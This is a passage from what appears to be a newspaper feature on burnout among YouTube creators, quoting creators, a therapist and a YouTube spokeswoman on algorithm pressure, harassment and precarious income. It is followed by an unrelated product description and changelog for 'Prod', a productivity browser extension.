For Lo, video-based social media platforms are catastrophically failing those who sustain their business. “YouTube fails to protect creators from the extremely common occupational hazards of being doxxed, stalked, harassed and threatened online,” she says. (Doxxing is the revealing of someone’s identity or other personal information.) “They claim no responsibility for the wellbeing of their creators or the communities they create.”

Asked about Lo’s comments, a spokeswoman for YouTube replies: “Harassment is abhorrent and wrong. YouTube has policies against harassment and bullying, as indicated in our community guidelines. We review flagged content quickly, and remove inappropriate videos according to our policies.” In order to avoid burnout, it encourages creators to “take breaks, enjoy weekends, nights and vacations just like any job”. “Of course,” the spokeswoman adds, “we always hope creators are discussing their struggles openly with others in the YouTube community.”

As part of its Creator Academy, a vast online “school” covering everything from how to “enhance your channel’s search and discovery potential” to how to “make deals with brands”, YouTube recently commissioned a series of videos designed to teach its partners how to avoid fatigue. (Few of the people I speak to who run YouTube channels are aware of the resource.) The video on burnout has been viewed just over 32,000 times. It’s written and presented by 34-year-old Kati Morton. A licensed therapist based in Los Angeles, Morton has been posting videos to YouTube for eight years. As such, she is well placed to understand both the problem and the potential solution.

In 2010, when she started her channel, Morton was working as a therapist with a private practice. YouTube was her way to reach a wider audience with tips and information that she believed could help them. Three years ago, her success on the platform enabled her to become a full-time YouTuber, but learning to personally manage the pressures she had warned about has been challenging. “I am no better than anyone else,” she says. “I’ve got tired, stressed about everything. It was a journey to get to the place where I felt able to tell my audience that I would be taking a vacation.”

That holiday, a two-week break last Christmas, was the first Morton had taken since going full-time in 2015. “Maybe I took a long weekend the summer before, for our anniversary?” she says. “No. Wait. I worked then, too.”

Every time Morton posts a new video she is expected to be in the comments, responding to questions and suggestions, before starting work on the next. “I have trouble with boundaries,” she says. “I always feel like I should be working, or that they’re counting on me.”

Like all YouTubers, Morton also feels the financial pressure of the system, which typically pays between £1.50 and £3 for every 1,000 views. “The reward for your work is liable to change at any time,” she says. “Your views can go down for a variety of reasons, and when that happens, you earn less.” For this reason, even with close to half a million subscribers, Morton feels unable to employ anyone to help her with the workload.

YouTube recommends that creators who are struggling “enlist support”. Morton argues that, for the majority, it is an impossible expense. “If I had someone supporting me it would make all the difference,” she says. “But I’d need my daily views to double before I’d feel comfortable doing that. Could you imagine having to fire someone because my views went down? That would be awful.”

For her, the solution comes back to the algorithm. “YouTube rewards people who produce daily,” she says. “They made the algorithm, so they have the power to remake it. If they set different criteria, it would help. We are human beings. We need some time for ourselves.”

Matt Lees is furious at what he sees as YouTube’s lacklustre approach to support and advice. “Encouraging creators to ‘take a break’ is pretty laughable from a system that actively promotes quantity over quality,” he says. “There’s no sense of responsibility for the culture that YouTube has created.” For Katherine Lo, the capacity to maintain a healthy work/life balance while being successful on YouTube and Twitch is a “barely possible” dream. “ They offer highly precarious work, where the promise of robust success – where one has a reliable, sustainable income – is only enjoyed by a small percentage of creators. Trying to reduce frequency of content and establish work/life balance merely adds even more risk.”

The demands of the YouTuber life suit younger creators – and the largest demographic on the site is those in their 20s (when once teenagers may have dreamed of becoming pop stars, now they dream of becoming YouTubers). Many find it possible to keep creating at a high enough rate, if only for a few years. “At that age you absolutely can,” Lees says. “You’ve got the energy and focus to work incredibly long hours, you’ve got very few responsibilities to take your attention away from work, and – perhaps most importantly – you’ve likely still got a solid social circle, friendships that aren’t difficult to maintain.” But, as every casualty of childhood stardom demonstrates, early success carries with it tremendous risk.

“The journey to creative stardom used to take more time – learning the ropes and developing a thick skin, and having a team of advisers and trusted friends,” says Chris O’Sullivan, from the UK charity the Mental Health Foundation. “Today, you can become a superstar online with one viral video – at any age or stage and from any location. Without support and guidance, the potential to be burned by the exposure is great.”

As time goes on, and life grows more complicated, the sense of isolation, anxiety and weariness is exacerbated.

“I spent my 20s working ceaselessly, feeling invincible and boundless,” Lees says. “And honestly, I was. Right up until the point where I wasn’t.”

• Comments on this piece are premoderated to ensure the discussion remains on the topics raised by the article.

Commenting on this piece? If you would like your comment to be considered for inclusion on Weekend magazine’s letters page in print, please email weekend@theguardian.com, including your name and address (not for publication).

Prod blocks websites you waste time on and unblocks them once you've finished your to-do list.

Prod blocks websites you waste time on and unblocks them once you've finished your to-dos.

That's the basic premise of Prod, but it has other ways of gently nudging you to be productive. Every aspect of Prod is designed to make productivity easy and time-wasting hard.

Features:

· Prod replaces your new-tab page with a simple, satisfying to-do list.

· Blocks time-wasting sites and redirects you back to your to-dos.

· Daily Tips – Each day Prod will provide you with a daily tip to improve productivity and happiness. These tips are well-researched, specific and cover a range of topics.

· No ads or anything annoying.

Version 2.0:

· A cleaner, calmer canvas for your thoughts.
· New incentives for being productive.
· Intuitive options page.
· New system for productivity tips.

Version 2.0.1:
· Clearer instructions for blocking websites

Version 2.0.2:
· Minor bug fixes
· Removed ping noise

Version 2.0.3:
· Minor bug fixes

Version 2.0.4:
· Added Analytics

Version 2.0.5
· Options no longer blocks list
· Improvements to layout and design